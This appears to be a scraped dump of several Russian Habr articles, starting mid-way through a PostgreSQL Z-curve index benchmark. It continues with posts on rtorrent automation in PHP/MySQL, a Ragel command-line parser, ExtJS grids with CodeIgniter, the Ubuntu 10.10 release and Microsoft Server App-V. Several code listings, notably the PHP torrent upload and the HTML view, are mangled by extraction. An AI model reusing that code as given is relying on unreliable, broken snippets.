create index zcurve_test_points on test_points(zcurve_val_from_xy(x, y));
```
И запросы типа:
```
select count(1) from zcurve_2d_lookup('zcurve_test_points', 500000,500000,501000,501000);
```
Сравнивать будем с R-деревом как со стандартом de facto. Причем, в отличие от прошлой статьи, нам нужен “index only scan” по R-дереву т.к. наш Z-индекс больше не обращается к таблице.
```
create table test_pt as (select point(x,y) from test_points);
create index test_pt_idx on test_pt using gist (point);
vacuum test_pt;
```
На таких данных запрос:
```
explain (analyze, buffers) select * from test_pt where
point <@ box(
point(500000, 500000),
point(510000, 510000));
```
выдаёт:
```
QUERY PLAN
---------------------------------------------------------------------------------------------
Index Only Scan using test_pt_idx on test_pt (cost=0.42..539.42 rows=10000 width=16)
(actual time=0.075..0.531 rows=968 loops=1)
Index Cond: (point <@ '(510000,510000),(500000,500000)'::box)
Heap Fetches: 0
Buffers: shared hit=20
Planning time: 0.088 ms
Execution time: 0.648 ms
(6 rows)
```
что и требовалось.
Собственно сравнение:
| Тип запроса | Тип индекса | Время мсек. | Shared reads | Shared hits |
| --- | --- | --- | --- | --- |
| 100Х100
~1 точка | R-tree
Z-curve | 0.4\*
0.34\* | 1.8
1.2 | 3.8
3.8 |
| 1000Х1000
~100 точек | R-tree
Z-curve | 0.5...7\*\*
0.41\* | 6.2
2.8 | 4.9
37 |
| 10000Х10000
~10000 точек | R-tree
Z-curve | 4...150\*\*\*
6.6\*\*\*\* | 150
43.7 | 27
2900 |
\* — данные получены при усреднении серии длины 100 000
\*\* — данные получены при усреднении серии разной длины, 10 000 vs 100 000
\*\*\* — данные получены при усреднении серии разной длины, 1 000 vs 10 000
\*\*\*\* — данные получены при усреднении серии длины 10 000
Замеры проводились на скромной виртуальной машине с двумя ядрами и 4 Гб ОЗУ, поэтому времена не имеют абсолютной ценности, а вот числам прочитанных страниц можно доверять.
Времена показаны на вторых прогонах, на разогретом сервере и виртуальной машине. Количества прочитанных буферов — на свеже-поднятом сервере.
### Выводы
* во всяком случае на маленьких запросах Z-индекс работает быстрее R-дерева
* и читает при этом заметно меньше страниц
* R-дерево намного раньше начинает массово промахиваться мимо кэша
* при этом и сам Z-индекс вчетверо компактнее, так что для него кэш работает более эффективно
* причем, не исключено, что промахи идут и мимо дискового кэша хост-машины, иначе трудно объяснить такую разницу
### Что дальше
Рассмотренный двумерный точечный индекс предназначен лишь для проверки концепции, в жизни он мало-полезен.
Даже для трехмерного индекса 64-разрядного ключа уже не хватает (или впритык) для полезной разрешающей способности.
Так что впереди будет:
* переход на другой ключ, numeric
* 3D вариант, в том числе точки на сфере
* проверка возможности работы с кривой Гильберта
* полноценные замеры
* 4D вариант — прямоугольники
* 6D вариант — прямоугольники на сфере
* ...
**PS:** Исходники выложены [здесь](https://github.com/bmuratshin/zcurve/tree/raw-2D) с лицензией BSD, описанное в данной статье соответствует ветке “raw-2D”
**PPS:** Алгоритм как таковой был разработан в стародавние времена (2004-2005 гг) в соавторстве с Александром Артюшиным.
**PPPS:** Огромное спасибо ребятам из [PostgresPro](http://postgrespro.ru/) за то, что сподвигли меня на внедрение данного алгоритма в PostgreSQL.
**PPPPS:** Продолжение [здесь](https://habrahabr.ru/post/323192/) | https://habr.com/ru/post/319810/ | null | ru | null |
# Rtorrent + PHP + MySQL
После первого моего знакомства с консольным торрент клиентом rtorrent меня не покидала мысль автоматизировать свою работу с торрентами.
Статей по работе с торрентами много, но того, что нужно именно мне, я не нашел.
В этой статье я расскажу и покажу на примере как работать с торрентами средствами php+mysql+rtorrent.
#### Необходимо:
* rtorrent ( --with-xmlrpc-c)
* [PHP5 XML\_RPC2 library](http://pear.php.net/manual/en/package.webservices.xml-rpc2.php)
* [PHP Class Torrent.php](http://www.phpclasses.org/browse/file/24765.html)
##### Ставим torrent файл на закачку
На этом примере форма с выгрузкой torrent файла, но это не имеет значения. Никто не мешает вам парсить трекер и передавать на скрипт готовый torrent файл.
```
php
..........
$torrent = new Torrent($_FILES['file']['tmp_name']);
if ($hash = $torrent-hash_info())
{
move_uploaded_file($_FILES['file']['tmp_name'], "torrent/new/" . microtime(true) . rand(1000, 9999) . ".torrent");
mysql_query("INSERT INTO video SET `show` = '" . mysql_real_escape_string($show) . "', hash = '" . mysql_real_escape_string($hash) . "'}'");
$error = "Торрент добавлен";
}
else
{
$error = "Это не torrent-файл";
}
..........
?>
```
##### Подключаемся к rtorrent:
```
php
......
$xrc = XML_RPC2_Client::create("http://127.0.0.1/RPC2", array("encoding" = "utf-8"));
.....
```
##### и работаем со списком *скачанных* торрентов:
```
.....
foreach ($xrc->download_list("complete") as $hash)
{
$episode = mysql_fetch_assoc(mysql_query("SELECT * FROM video WHERE hash = '" . mysql_real_escape_string($hash) . "'"));
if (!$episode)
{
// Не наш торрент
continue;
}
$base_path = $xrc->{"d.get_base_path"}($hash);
if (is_file($base_path))
{
// Торрент скачан, обновим запись в базе и удалим его из очереди
mysql_query("UPDATE video SET filename = '" . mysql_real_escape_string($base_path) . "', hash = '' WHERE hash = '" . mysql_real_escape_string($hash) . "'");
$xrc->{"d.erase"}($hash);
}
else
{
printf("$base_path does not exist!\n");
}
}
?>
```
Список всех команд к rtorrent: [RTorrentCommands](http://libtorrent.rakshasa.no/wiki/RTorrentCommands)
#### Что имеем в итоге?
После того как мы связали rtorrent с php+mysql идей для дальнейшей автоматизации очень много. Лично для себя сделал автоматическую закачку новых серий сериалов и смс оповещение об успешной закачке.
Встроить такой метод в любую CMS и организовать закачку новых фильмов/сериалов/софта и выгрузки их на файлообменники не составит труда. | https://habr.com/ru/post/147015/ | null | ru | null |
# Функция buildargv с помощью Ragel
Забавное использование Ragel State Machine Compiler для создания функции разбора строки на int argc, char \*argv[].
Все началось с того, что понадобилась функция buildargv, чтобы разбирать строку для последующей передачи в
```
int main (int argc, char *argv[]) { body }
```
Ну ладно подумал я, не может быть, чтобы нигде нельзя было позаимствовать, сейчас найдем… И не нашёл...
Ну не то что бы совсем не нашёл, вот например <https://github.com/gcc-mirror/gcc/blob/master/libiberty/argv.c> (GPLv2 — это всегда хорошо), брать сразу сходу на себя такие обязательства я был не готов. Точно есть такая функция в bash (GPLv3 — это еще лучше). zsh? — иди найди (я нашёл… — не хочу).
В общем, что хотел не нашёл, а что нашёл не понравилось. Ну в конце концов имею на это право, всё таки делаю для себя и жажду развлечений в процессе.
Писать это дело конвенционным способом мне не захотелось от слова совсем, я даже на этой почве расстроился.
В общем встречаем Ragel State Machine Compiler.
Инструментарий
==============
* gcc ;)
* ragel
* make
* lcov
* libcheck
С проектом можно ознакомиться тут: [JOYFUL CMDLINE PARSER WRITTEN IN RAGEL](https://github.com/maquefel/cmdline)
Постановка задачи
=================
На входе имеем строку произвольного вида, задача получить из строки массив аргументов разделённых между собой сиволами пробела или табуляции, причем:
* Необходимо игнорировать любой символ следующий за символом экранирования `\`
* Любые символы, который находятся между двумя парным `"` или `'` должны
считаться одним элементом
* В случае незакрытых `'` или `"` должна возвращаться ошибка
В общем не так много условий. И Ragel вполне подходит для данной задачи.
Реализация с разъяснениями
==========================
Объявим машину с именем "buildargv" и попросим Ragel расположить свои данные в начале файла (5.8.1 Write Data).
```
%%{
machine buildargv;
write data;
}%%
```
Далее объявим машину `lineElement`, которая в свою очередь состоит из объединения (2.5.1 Union) двух машин: `arg` и `whitespace`.
```
lineElement = arg >start_arg %end_arg | whitespace;
main := blineElements**;
```
На входе и выходе машины `arg` выполняются действия `start_arg` и `end_arg` соответсвенно.
```
action start_arg {
argv_s = p;
}
action end_arg {
nargv = (char**)realloc((*argv), (argc_ + 1)*sizeof(char*));
(*argv) = nargv;
(*argv)[argc_] = strndup(argv_s, p - argv_s);
argc_++;
}
```
Причем задача `start_arg` сохранить позицию символа на входе, а задача `end_arg` добавить новый элемент в массив `argv`, в случае успешного выхода из машины `arg`.
Теперь подробнее рассмотрим `arg`.
```
arg = '\''> { fcall squote; } | '"'>{ fcall dquote; } | ( '\\'>{fcall skip;} | ^[ \t"'\\] )+;
```
Он состоит из объединения трёх машин `'`, `"` и `(\ | ^[ \t"'\])`, последняя в свою очередь это объединение `\` и `^[ \t"'\]` соответвенно.
При нахождении символа `'` мы вызываем `squote`, `"` вызываем `dquote`, или если текущий символ равен `\` вызываем `skip`, который пропускает любой следующий за ним символ, и любой символ не `0x20`(пробел), `0x09`(табуляция), `'`, `"` или `\` считается правильным.
Осталось рассмотреть совсем небольшую часть:
```
skip := any @{ fret; };
dquote := ( '\\'>{ fcall skip; } | ^[\\] )+ :> ["] @{ fret; } @err(dquote_err);
squote := ( '\\'>{ fcall skip; } | ^[\\] )+ :> ['] @{ fret; } @err(squote_err);
```
Со `skip` мы уже разобрались, что делает `^['\\]` тоже не должно вызывать вопросов. А вот `:>` это `Entry-Guarded Concatenation` (4.2 Guarded Operators that Encapsulate Priorities) её смысл заключается в том, что машина `( '\\'>{ fcall skip; } | ^['\\] )+` завершает выполнение когда `["]` переходит в начальное состояние.
И наконец в случае ошибки конца строки при незакрытых ковычках вызываются `dquote_err` и `squote_err` для индикации и выставления соответсвующего кода ошибки.
```
action dquote_err {
ret = -1;
errsv = BUILDARGV_EDQUOTE;
}
action squote_err {
ret = -1;
errsv = BUILDARGV_ESQUOTE;
}
```
Генерация кода осуществляется командой:
```
ragel -e -L -F0 -o buildargv.c buildargv.rl
```
Со списком тестовых строк можно ознакомиться в `test_cmdline.c`.
Заключение
==========
Поставленная задача решена.
Быстрее ли получилось? Сомневаюсь. Понятнее? Если только вы знаток Ragel.
На абсолютизм не претендую, буду признателен за конструктивные замечания по коду Ragel.
Список материалов:
[^1]:[Adrian Thurston. *Ragel State Machine Compiler*.](http://www.colm.net/files/ragel/ragel-guide-6.10.pdf) | https://habr.com/ru/post/477296/ | null | ru | null |
# ExtJS и CodeIgniter
В статье приведены примеры объединения [ExtJS](http://www.sencha.com) Grid с [CodeIgniter](http://www.code-igniter.ru/), и получение данных из MySQL.
Будем считать, что у Вас уже есть опыт работы с CodeIgniter, поскольку в статье будут размещаться только функции. Я не буду рассказывать как настроить CI и давать определения, что такое Model-View-Controller поскольку Вы должны знать это, если работали с CI. Если нет, то в конце статьи приведено несколько полезных ссылок из руководство пользователя CodeIgniter.
#### Для начала создадим в CodeIgniter Модель (Model):
Модель для получения данные из MySQL, которые в дальнейшем мы будем использовать в ExtJs Grid. Функция выглядит следующим образом:
> `1. function getBoards()
> 2. {
> 3. $this->db->select('WOrder, PartNumber, WOPartQuantity, PartPriority, WODateIn, WODateOut, PartState, PartStatus, PartLocation');
> 4. $this->db->from('WorkOrder');
> 5. $this->db->join('PartNumber', 'WorkOrder.PartNumberID = PartNumber.PartNumberID');
> 6. $this->db->join('PartState', 'PartState.PartStateID = WorkOrder.PartStateID');
> 7. $this->db->join('PartStatus', 'PartStatus.PartStatusID = WorkOrder.PartStatusID');
> 8. $this->db->join('PartPriority', 'PartPriority.PartPriorityID = WorkOrder.PartPriorityID');
> 9. $this->db->join('PartLocation', 'PartLocation.PartLocationID = WorkOrder.PartLocationID');
> 10. $this->db->limit(15);
> 11. $lBoards = $this->db->get();
> 12. return $lBoards;
> 13. }
> \* This source code was highlighted with Source Code Highlighter.`
Что тут происходит:1. Запрос необходимых нам полей **db->select(...)** из таблицы **WorkOrder** используя **db->from(...)** и присоединение **db->join(...)** данных из других таблиц.
2. Выполняем запрос и получаем данные в $lBoards используя **db->get()**.
3. Возвращаем все данные, хранящиеся в **return $lBoards**.
#### Контроллер (Controller):
Контроллер просто будет обрабатывать данные которая вернет модель, в нашем случае **$lBoards**.
> `1. function index()
> 2. {
> 3. $this->load->view('main-grid');
> 4. }
> 5. function js\_listBoards()
> 6. {
> 7. $Boards = $this->Boards->getBoards();
> 8. foreach($Boards->result() as $row)
> 9. {
> 10. $item = Array("WOrder" => $row->WOrder,
> 11. "PartNumber" => $row->PartNumber,
> 12. "WOPartQuantity" => $row->WOPartQuantity,
> 13. "PartPriority" => $row->PartPriority,
> 14. "WODateIn" => $row->WODateIn,
> 15. "WODateOut" => $row->WODateOut,
> 16. "PartState" => $row->PartState,
> 17. "Partstatus" => $row->PartStatus,
> 18. "PartLocation" => $row->PartLocation);
> 19. $itemList[] = $item;
> 20. }
> 21. $rows = $Boards->num\_rows();
> 22. $data = json\_encode($itemList);
> 23. echo '({"total":"' . $rows . '","results":' . $data . '})';
> 24. }
> \* This source code was highlighted with Source Code Highlighter.`
Что здесь происходит:1. **ОБРАТИТЕ ВНИМАНИЕ, ЧТО ОТОБРАЖЕНИЕ load->view(...) НЕ ЗАГРУЖАЮТСЯ ИЗ js\_listBoards**, все отображения мы загружаем только из индекса, больше нигде.
2. Для того, чтобы получить данные из модели контроллером, мы вызываем метод, который возвращает **$lBoards**, и присваиваем данные локальной переменной **$Boards**.
3. Мы используем **foreach(...)** для получения каждой строки и создания **$item** массива со значениями.
**ПРИМЕЧАНИЕ:** Рекомендуется использовать здесь одинаковые имена для полей, как и в БД, таким образом будет легче отслеживать, что мы делаем, и найти ошибки гораздо быстрее (позже можно назначать любые заголовки в Grid'е).
Итак, имеющегося массива **$item** будет не достаточно, для того чтобы получить весь набор строк, поэтому мы сохраняем этот массив во втором массиве **$itemList**. Это даст нам массив их вложенных массивов в нем.
В итоге получаем переменные **$rows** и **$data**:
**$rows:** количество строк данных.
**ПРИМЕЧАНИЕ:** обязательно нужно получить $rows, эти данные будут необходимы для ExtJS Grid
**$data:** это все данные, полученные циклом **foreach()**. **ДАННЫЕ НЕОБХОДИМО ЗАКОДИРОВАТЬ С ПОМОЩЬЮ json\_encode($ITEMLIST)** иначе мы не сможем получить их в ExtJS используя **json\_reader** для создания хранилища данных, которое будут использоваться в ExtJS Grid. **Json\_encode** должно дать вам что-то вроде этого:
> `1. ({"total":"1","results":[{"WOrder":"97350","PartNumber":"H35146AAD","WOPartQuantity":"3","PartPriority":"Medium","WODateIn":"2007-02-13","WODateOut":"2007-02-16","PartState":"None","Partstatus":"Done ","PartLocation":"Primary"}]})
> \* This source code was highlighted with Source Code Highlighter.`
#### JS файла
Теперь перейдем к ExtJS файлу:
> `1. Ext.onReady(function(){
> 2. var dataRecord = new Ext.data.Record.create([
> 3. {name: 'WOrder'},
> 4. {name: 'PartNumber'},
> 5. {name: 'WOPartQuantity'},
> 6. {name: 'PartPriority'},
> 7. {name: 'WODateIn', type: 'date', dateFormat: 'Y-m-d'},
> 8. {name: 'WODateOut', type: 'date', dateFormat: 'Y-m-d'},
> 9. {name: 'PartState'},
> 10. {name: 'Partstatus'},
> 11. {name: 'PartLocation'}
> 12. ]);
> 13. var dataReader = new Ext.data.JsonReader({
> 14. root: 'results'
> 15. },
> 16. dataRecord
> 17. );
> 18. var dataProxy = new Ext.data.HttpProxy({
> 19. url: '../../../index.php/listboards/js\_listboards',
> 20. method: 'POST'
> 21. });
> 22. var dataStore = new Ext.data.Store({
> 23. proxy: dataProxy,
> 24. reader: dataReader
> 25. });
> 26. var colModel = new Ext.grid.ColumnModel([
> 27. {header: "Work Order", sortable: true, dataIndex: 'WOrder'},
> 28. {header: "Part Number", dataIndex: 'PartNumber'},
> 29. {header: "QTY", dataIndex: 'WOPartQuantity'},
> 30. {header: "Priority", sortable: true, dataIndex: 'PartPriority'},
> 31. {header: "Date In", renderer: Ext.util.Format.dateRenderer('m/d/Y'), dataIndex: 'WODateIn'},
> 32. {header: "Date Out",renderer: Ext.util.Format.dateRenderer('m/d/Y'), dataIndex: 'WODateOut'},
> 33. {header: "Part State", dataIndex: 'PartState'},
> 34. {header: "Part Status", dataIndex: 'PartStatus'},
> 35. {header: "Part Location", dataIndex: 'PartLocation'}
> 36. ]);
> 37. var grid = new Ext.grid.GridPanel({
> 38. autoHeight: true,
> 39. renderTo: 'mainGrid',
> 40. store: dataStore,
> 41. id: 'grid',
> 42. width: 740,
> 43. viewConfig: {
> 44. forceFit: true
> 45. },
> 46. cm: colModel
> 47. });
> 48. dataStore.load();
> 49. });
> \* This source code was highlighted with Source Code Highlighter.`
Чтобы получить Grid, у нас должны быть:1. **dataRecord:** здесь определяется, какие из полей необходимо получить, можно не указывать все поля полученные из запроса SQL, но если вы хотите использовать какое то поле, вам необходимо определить его здесь. Определение типов данных не является обязательной, но если у вас есть такие данные как **date**, их необходимо отформатировать, и указать тип данных **date**, как вы можете видеть из кода выше.
2. **DataReader:** тут мы указываем, как нужно считывать данные. Так как у нас передаются данные форматом JSON, мы используем **JsonReader()**.
3. **dataProxy:** указываем, где можно получить данные. В нашем примере мы используем модель CI URL **url: '../../../index.php/listboards/js\_listboards'** где **listboards** — имя контроллера, **js\_listboards** — функция контроллера.
4. **dataStore:** здесь мы определяем хранилище в котором будут храниться наши данные.
5. **colModel:** это необязательно, но если ColumnModel определена отдельно, то код самого Grid'а выглядит гораздо удобнее, в противном случае вам придется определять все столбцы в коде Grid'а.
6. **grid:** наконец мы определяем сам Grid с уже заранее настроенными **dataStore** и **colModel**
#### ОТОБРАЖЕНИЕ (View):
И, наконец, мы создадим отображение. Имя отображение, в нашем случае **main-grid**, должно совпадать с указанным в контроллере **load->view('main-grid')** и находится в **index()**. Код отображения:
> `1. <html>
> 2. <head>
> 3. <title>Grid Testtitle>
> 4.
> 5. <script type="text/javascript" src="system/resources/js/extjs/adapter/ext/ext-base.js">script>
> 6. "text/javascript"</font> src=<font color="#A31515">"system/resources/js/extjs/ext-all-debug.js"</font>>
> 7. "text/javascript"</font> src=<font color="#A31515">"system/resources/js/js\_listboards.js"</font>>
> 8.` | https://habr.com/ru/post/101975/ | null | ru | null |
# Вышла финальная версия Ubuntu 10.10 Maverick Meerkat
Сегодня была выпущена финальная версия Ubuntu 10.10 Maverick Meerkat.
Скачать:
**CD Версии:**[releases.ubuntu.com/10.10/ubuntu-10.10-desktop-i386.iso](http://releases.ubuntu.com/10.10/ubuntu-10.10-desktop-i386.iso) — CD 32bit
[releases.ubuntu.com/10.10/ubuntu-10.10-desktop-i386.iso.torrent](http://releases.ubuntu.com/10.10/ubuntu-10.10-desktop-i386.iso.torrent) — CD 32bit **(Torrent)**
[releases.ubuntu.com/10.10/ubuntu-10.10-desktop-amd64.iso](http://releases.ubuntu.com/10.10/ubuntu-10.10-desktop-amd64.iso) — CD 64bit
[releases.ubuntu.com/10.10/ubuntu-10.10-desktop-amd64.iso.torrent](http://releases.ubuntu.com/10.10/ubuntu-10.10-desktop-amd64.iso.torrent) — CD 64bit **(Torrent)**
**DVD Версии:**[cdimage.ubuntu.com/releases/maverick/release/ubuntu-10.10-dvd-i386.iso](http://cdimage.ubuntu.com/releases/maverick/release/ubuntu-10.10-dvd-i386.iso) — DVD 32bit
[cdimage.ubuntu.com/releases/maverick/release/ubuntu-10.10-dvd-i386.iso.torrent](http://cdimage.ubuntu.com/releases/maverick/release/ubuntu-10.10-dvd-i386.iso.torrent) — DVD 32 bit **(Torrent)**
[cdimage.ubuntu.com/releases/maverick/release/ubuntu-10.10-dvd-amd64.iso](http://cdimage.ubuntu.com/releases/maverick/release/ubuntu-10.10-dvd-amd64.iso) — DVD 64bit
[cdimage.ubuntu.com/releases/maverick/release/ubuntu-10.10-dvd-amd64.iso.torrent](http://cdimage.ubuntu.com/releases/maverick/release/ubuntu-10.10-dvd-amd64.iso.torrent) — DVD 64bit **(Torrent)**
**Версия для нетбука:**
[releases.ubuntu.com/10.10/ubuntu-10.10-netbook-i386.iso](http://releases.ubuntu.com/10.10/ubuntu-10.10-netbook-i386.iso)
[releases.ubuntu.com/10.10/ubuntu-10.10-netbook-i386.iso.torrent](http://releases.ubuntu.com/10.10/ubuntu-10.10-netbook-i386.iso.torrent) — **(Torrent)**
*Если есть такая возможность, то лучше используйте торрент, пощадите их сервера.*
Яндекс не жалко посему можно скачать с яндекса: [mirror.yandex.ru/ubuntu-releases/maverick](http://mirror.yandex.ru/ubuntu-releases/maverick/)
Подробнее о релизе: [releases.ubuntu.com/10.10](http://releases.ubuntu.com/10.10/)
Под катом, список изменений и инструкция к обновлению.
Изменения:
**Обновленный дизайн**
Стандартная тема оформления Ubuntu была несколько преобразована: смягчены градиенты, добавлены анимации, кнопки и многое другое. В стандартном наборе иконок обновились кнопки панелей инструментов и устройств. Вас ожидает 17 новых обоев от красивых пейзажей до абстрактных изображений и архитектуры. Некоторые косметические изменения претерпело меню иконки
**Центр приложений.**
В Центре приложений появился раздел платных программ, относительно которой в интернете ведутся бурные обсуждения из-за опасений того, что бесплатные программы будут вытеснены. Хочется отметить, что платные программы для Linux – явление далеко не новое, и опасения абсолютно безосновательны. Также в центре приложений появилась новая функция «Где это?» для нахождения программ после установки.
**Программа установки**
Программа установки Ubuntu вновь обновила свой интерфейс. Однако это далеко не все! В ней также уменьшено число шагов, а процесс копирования файлов начинается еще до того, как пользователь ответил на все вопросы, благодаря чему установка протекает гораздо быстрее! Кроме того, теперь инсталлятор предлагает загрузить из интернета обновления и пакеты поддержки мультимедиа-форматов прямо во время установки системы!
**Изменения в Ubuntu 10.10 Netbook Edition**
Пользователей Ubuntu Netbook Edition ждут множество улучшений интерфейса Unity, новый браузер Dash для файлов и приложений, включенное по умолчанию AppMenu и оптимизированные для нетбука интерфейсы Evolution и Banshee.
И многое другое включая новое ядро, заменены некоторые приложения и исправлены многие баги.
Список изменений честно взят с [startubuntu.ru/?p=5933](http://startubuntu.ru/?p=5933)
Для обновления с другой версии необходимо нажать Alt+F2 и ввести `update-manager --devel-release`
В Kubuntu: `kdesudo "do-release-upgrade -m desktop -f kde -d"`
Во избежание проблем лучше делать чистую установку.
Если у вас уже RC то обновление придёт с апедйтами и Вам не нужно делать никаких лишних телодвижений.
Kubuntu 10.10 можно также скачать с [releases.ubuntu.com/kubuntu/10.10](http://releases.ubuntu.com/kubuntu/10.10/) | https://habr.com/ru/post/105869/ | null | ru | null |
# Microsoft Server App-V — что это, и с чем его едят
Server App-V — интересный продукт Microsoft, несправедливо, на мой взгляд, обделённый вниманием. Вообще заметил, что пока маркетологи и пиарщики этой корпорации ломают копья, демонстрируя очередные таблицы поддержки максимального количества процессоров и терабайт памяти в их продуктах, по-настоящему интересные и полезные вещи проплывают незамеченными и известными лишь узкому кругу увлечённых.
Коротко говоря, Server App-V обеспечивает механизм виртуализации приложений, изоляции их от ОС и упрощает их доставку, как и App-V, только для серверов. В данный момент подаётся с System Center Virtual Machine Management 2012, поскольку может значительно ускорить процедуру развёртывания серверных платформ, что делает его хорошим подспорьем в деле создания и поддержки разного рода «облаков».
Данной статьёй хочу поделиться своим взглядом на концепцию виртуализации приложений в целом, предоставить известную мне информацию о Server App-V (а также упорядочить её в своей голове) и показать, как выглядит процедура развёртывания, на простом примере.
Сказать, что виртуализация облегчает управление ИТ, значит соврать. Виртуализация сама по себе экономит место, энергию, деньги, но не время и трудозатраты. Ибо процедуры настройки и обслуживания что виртуального, что физического серверов практически идентичны: подготовить «железо», установить ОС, установить нужные приложения, настроить всё это, а далее обновлять, патчить и траблшутить.
Облегчают управление ИТ различные средства автоматизации. И тут нам помогают системы управления виртуальной инфраструктурой — SCVMM, vCenter… Можно приготовить шаблоны виртуальных машин, как в части virtual hardware, так и в части настроек ОС. Однако остаётся третий слой инфраструктуры — приложения. И здесь, как показывает практика, прогресса практически не наблюдается со времён… даже не знаю. За весь мой 12-летний опыт работы, мало что поменялось. Дистрибутивы, разве что, больше стали.
Итак, какие способы набивки ОС (не важно, сервера или рабочей станции) приложениями нам доступны?
***1. Классический*** — вставляем диск/флешку или идём в общую папку «Distrib» на файлообменнике и запускаем инсталлятор. Способ простой, надёжный, но отнюдь не быстрый. А главное — нудный и утомительный, если надо штамповать машины на регулярной основе. Можно установить приложения непосредственно в шаблон ВМ, чтобы после развёртывания уже получить всё установленное, но, во-первых, каждая ВМ требует свой набор софта, а во-вторых, для обновления каждой программы нужно будет перетряхивать все шаблоны. Ладно если есть централизованная система обновления, как у Microsoft WSUS или там 2GIS, но это не у всех, а оставлять апдейты на откуп пользователю тоже плохая идея.
***2. Централизованное развёртывание (group policy, SCCM, скрипты).*** Снимает проблему рутины (по крайней мере в части массово используемых приложений), снимает проблему обновления. Создаёт новые трудности. Влияние на виртуальную среду. Массовый апдейт Adobe Reader может ввести ферму VDI в кому на пол дня. Мало того, что машины потянут дистрибутив по сети примерно в одно время, так вдарит ещё и по процессору и по дискам. Кроме того, не все приложения можно развернуть в режиме «тихой» установки.
Оба вышеуказанных способа имеют такой общий недостаток, как то, что приложения становятся, по сути, частью ОС — наполняют её своими библиотеками, записями в реестре, службами, конфигами и разными непонятными файлами. Не всё бывает возможно вычистить или даже корректно обновить, а порой удачно рухнувшее приложение или повреждённая DLL тащит за собой операционную систему в пучину BSOD и прочих нежелательных явлений. Ещё одним общим недостатком можно считать то, что два (и более) разных приложения могут требовать разных версий java, например, или иным образом взаимоисключать друг друга (в бытность поддержки мной Microsoft Exchange 2003, помню, нельзя было использовать Outlook на сервере с установленным Exchange из-за того, что оба использовали библиотеку с одинаковым названием, но разным функционалом)
***3. Доставка виртуальных приложений (App-V, ThinApp, XenApp)***. Это когда приложение специальным образом подготавливается — устанавливается в специальный виртуальный контейнер и доставляется в конечную ОС простым копированием (App-V, ThinApp) или вообще запускается и работает на удалённом сервере (Citrix XenApp). Снимает проблему рутины, снимает проблему обновления, снижает нагрузку на процессоры и диски при развёртывании, изолирует систему от последствий сбоев приложения и упрощает процедуру подготовки виртуальных машин — помимо того, что надо отметить галочками нужные шаблоны конфигурации и ОС, нужно будет указать, какое ПО нам нужно будет иметь внутри ВМ и, по сути, всё. Конечно, это не волшебная таблетка, тут есть свои недостатки, начиная от стоимости дополнительных лицензий и заканчивая тем, что не всё ПО можно вот так виртуализировать, но, думаю, иметь представление об этом пути надо, а если есть возможность, то и использовать. Когда-то и виртуализация серверов казалась сомнительным мероприятием.
#### Server App-V
По сути, решение Server App-V аналогично продукту App-V. Также для «упаковки» приложений используется [Server] App-V Sequencer, а для развёртывания на конечной системе нужен App-V Agent. Для доставки App-V на десктопы используется специальный сервер App-V (App-V Server), а для Server App-V — VMM.
Использование одинаковых терминов в названии приводит к путанице для поисковиков, что ещё сильнее уменьшает шанс Server App-V получить известность и вызывает раздражение при поиске информации.
При всей схожести, однако, это два разных продукта и не стоит пытаться использовать Server App-V Sequencer для создания Desktop App-V приложений. И наоборот.
Для чего нам нужна виртуализация приложений на серверах? Это ж не десктопы, тут зачастую один сервер — одно приложение, и сомнительно, что можно виртуализовать, например, Exchange. Это да, нельзя. Как и Microsoft SQL Server (а вот, MySQL, слышал, что можно), SharePoint. возможно ещё какое-то крупное серверное ПО. В разработке следующих версий есть приоритет на поддержку Sharepoint и ролей Exchange. Также под ограничение попадают антивирусы и программы, предполагающие работу на уровне ядра и/или «железа». Списка явно поддерживаемого ПО я тоже не встречал, однако известно, что Server App-V оптимизирован для приложений со следующими атрибутами:
* хранящиеся локально на диске;
* web-приложения (для IIS);
* Windows Services;
* SQL Server Report Services;
* взаимодействие с реестром (registry), объектами COM+/DCOM, WMI, использование функционала локальных пользователей и групп, планировщика задач.
Собственно, поддержка большего числа этих атрибутов и отличает Server App-V от App-V для десктопов.Сравнение конкретных возможностей в таблице:
| App-V | Server App-V |
| --- | --- |
| * Изменение конфигурации и данных применяется ко всем пользователям
* Файлы приложения (а также COM / DCOM, службы и WMI-провайдеры) доступны только самому приложению
* Добавление новых процессов в виртуальную среду производится вручную
| * Изменения конфигурации и данных применяются к конкретному пользователю
* Файлы приложения (а также COM / DCOM, службы и WMI-провайдеры) доступны всем процессам компьютера. Например, службой из контейнера App-V можно управлять через Service Manager в общем списке служб сервера
* Добавление новых процессов в виртуальную среду производится секвенсером на основе эвристики. Конечно, возможно добавление вручную.
|
Подробно погружаться в процедуры установки и использования не буду, ибо настолько незамысловатый интерфейс, что сложно запутаться. Отмечу лишь важные моменты и приведу небольшой пример.
#### Установка
Установочные файлы можно найти либо на носителе с System Center VMM 2012 в директории X:\SAV, либо на сервере с установленным VMM — C:\Program Files\Microsoft System Center 2012\Virtual Machine Manager\SAV.
Включают в себя установщик секвенсера, агента и cmdlet' для того и другого.
Установить можно на ОС следующих версий:
* Windows 2003 R2 SP2;
* Windows 2008 SP2;
* Windows 2008 R2;
* Windows 2012.
Сама установка, что секвенсора, что агента, думаю, ни у кого трудностей не вызовет. Стоит иметь ввиду, что секвенсор лучше устанавливать на чистую свежую ОС. Даже агента App-V на ней быть не должно.
**Агент может быть установлен в тихом режиме:**
```
AgentSetup.exe /q INSTALLDIR=c:\serverappv SWIGLOBALDATA=c:\SWIGlobalData SWIUSERDATA=c:\SWIUserData SWIFSDRIVE=q /ACCEPTEULA
```
INSTALLDIR – путь установки.
SWIGLOBALDATA – определяет директорию, где будут храниться основные данные (включая пакеты приложений).
SWIUSERDATA – определяет директорию хранения пользовательских данных.
SWIFSDRIVE – определяет букву диска для файловой системы виртуальной среды.
ACCEPTEULA – принимает лицензионное соглашение. Обязательный параметр для «тихой» установки.
Также доступны следующие ключи:
/q – активация «тихого» режима.
/u – деинсталляция.
/? – вызов справки, привязанной к инсталлятору.
Лог установки сохраняется в %Temp%.
И агент и секвенсор в ходе установки создают виртуальный диск (по умолчанию — Q:) для файловой системы виртуальной среды.
#### Sequencing
Не знаю, как точно перевести этот термин. Вариант «постановка приложения в очередь», увиденный в описании курса УЦ Специалист, кажется бредовым. Я называю этот процесс «упаковкой».
Итак, мы установили секвенсор. На свежеустановленную, чистую ОС. «Упаковка» каждого приложения требует чистой ОС. И тут нам неоценимую помощь могут оказать снапошоты ВМ. Что ещё следует иметь ввиду перед началом процедуры:
* Лучше всего чтобы версия и редакция ОС совпадала с версией и редакцией целевой ОС (куда будет развёртываться).
* Необходимые роли и средства (Roles and Features), если они требуются приложению, должны быть установлены ДО процедуры его виртуализации.
